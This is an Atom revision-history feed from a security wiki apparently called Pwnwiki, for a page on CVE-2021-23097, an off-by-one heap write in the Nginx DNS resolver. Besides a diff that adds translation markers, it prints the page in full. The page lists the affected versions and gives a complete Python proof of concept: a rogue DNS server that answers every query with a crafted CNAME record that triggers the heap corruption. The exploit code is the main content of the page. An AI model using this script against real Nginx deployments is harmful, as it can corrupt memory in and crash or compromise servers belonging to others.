https://pwnwiki.com/index.php?action=history&feed=atom&title=CVE-2021-23097_Nginx%E8%A7%A3%E6%9E%90%E5%99%A8_Off-by-One%E5%A0%86%E5%AF%AB%E5%85%A5%E6%BC%8F%E6%B4%9E
CVE-2021-23097 Nginx解析器 Off-by-One堆寫入漏洞 - Revision history
2026-04-07T20:13:45Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=CVE-2021-23097_Nginx%E8%A7%A3%E6%9E%90%E5%99%A8_Off-by-One%E5%A0%86%E5%AF%AB%E5%85%A5%E6%BC%8F%E6%B4%9E&diff=5098&oldid=prev
Pwnwiki: Marked this version for translation
2021-06-15T14:48:40Z
<p>Marked this version for translation</p>
<table class="diff diff-contentalign-left diff-editfont-monospace" data-mw="interface">
<col class="diff-marker" />
<col class="diff-content" />
<col class="diff-marker" />
<col class="diff-content" />
<tr class="diff-title" lang="chinese">
<td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">← Older revision</td>
<td colspan="2" style="background-color: #fff; color: #202122; text-align: center;">Revision as of 14:48, 15 June 2021</td>
</tr><tr><td colspan="2" class="diff-lineno" id="mw-diff-left-l1" >Line 1:</td>
<td colspan="2" class="diff-lineno">Line 1:</td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div><languages /></div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div><languages /></div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div><translate></div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div><translate></div></td></tr>
<tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div>==影響版本==</div></td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>==影響版本== <ins class="diffchange diffchange-inline"><!--T:1--></ins></div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div></translate></div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div></translate></div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div><pre></div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div><pre></div></td></tr>
<tr><td colspan="2" class="diff-lineno" id="mw-diff-left-l36" >Line 36:</td>
<td colspan="2" class="diff-lineno">Line 36:</td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div><translate></div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div><translate></div></td></tr>
<tr><td class='diff-marker'>−</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;"><div>==參考==</div></td><td class='diff-marker'>+</td><td style="color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;"><div>==參考== <ins class="diffchange diffchange-inline"><!--T:2--></ins></div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div></translate></div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div></translate></div></td></tr>
<tr><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>https://github.com/x41sec/advisories/blob/master/X41-2021-002/poc.py</div></td><td class='diff-marker'> </td><td style="background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;"><div>https://github.com/x41sec/advisories/blob/master/X41-2021-002/poc.py</div></td></tr>
<!-- diff cache key pwn_wiki:diff::1.12:old-5097:rev-5098 -->
</table>
Pwnwiki
https://pwnwiki.com/index.php?title=CVE-2021-23097_Nginx%E8%A7%A3%E6%9E%90%E5%99%A8_Off-by-One%E5%A0%86%E5%AF%AB%E5%85%A5%E6%BC%8F%E6%B4%9E&diff=5097&oldid=prev
Pwnwiki: Created page with "<languages /> <translate> ==影響版本== </translate> <pre> 0.6.18 - 1.20.0 </pre> ==POC== <pre> from binascii import hexlify, unhexlify from socket import AF_INET, SOCK_DG..."
2021-06-15T14:48:05Z
<p>Created page with "<languages /> <translate> ==影響版本== </translate> <pre> 0.6.18 - 1.20.0 </pre> ==POC== <pre> from binascii import hexlify, unhexlify from socket import AF_INET, SOCK_DG..."</p>
<p><b>New page</b></p><div><languages /><br />
<translate><br />
==影響版本==<br />
</translate><br />
<pre><br />
0.6.18 - 1.20.0<br />
</pre><br />
<br />
==POC==<br />
<pre><br />
from binascii import hexlify, unhexlify<br />
from socket import AF_INET, SOCK_DGRAM, socket<br />
from struct import unpack<br />
<br />
sock = socket(AF_INET, SOCK_DGRAM)<br />
sock.bind(('0.0.0.0', 1053))<br />
<br />
while True:<br />
request, addr = sock.recvfrom(4096)<br />
print(b'<<< '+hexlify(request))<br />
ident = request[0:2]<br />
# find request<br />
nullptr = request.find(0x0,12)<br />
reqname = request[12:request.find(0x0,12)+1]<br />
reqtype = request[nullptr+1:nullptr+3]<br />
reqclass = request[nullptr+3:nullptr+5]<br />
print('name: %s, type: %s, class: %s' % (reqname, unpack('>H', reqtype), unpack('>H', reqclass)))<br />
# CNAME response<br />
response = request[0:2] + \<br />
unhexlify('''81800001000100000000''') + \<br />
reqname + reqtype + reqclass + \<br />
unhexlify('c00c0005000100000e10000b18414141414141414141414141414141414141414141414141c004')<br />
print(b'>>> '+hexlify(response))<br />
sock.sendto(bytes(response), addr)<br />
</pre><br />
<br />
<translate><br />
==參考==<br />
</translate><br />
https://github.com/x41sec/advisories/blob/master/X41-2021-002/poc.py</div>
Pwnwiki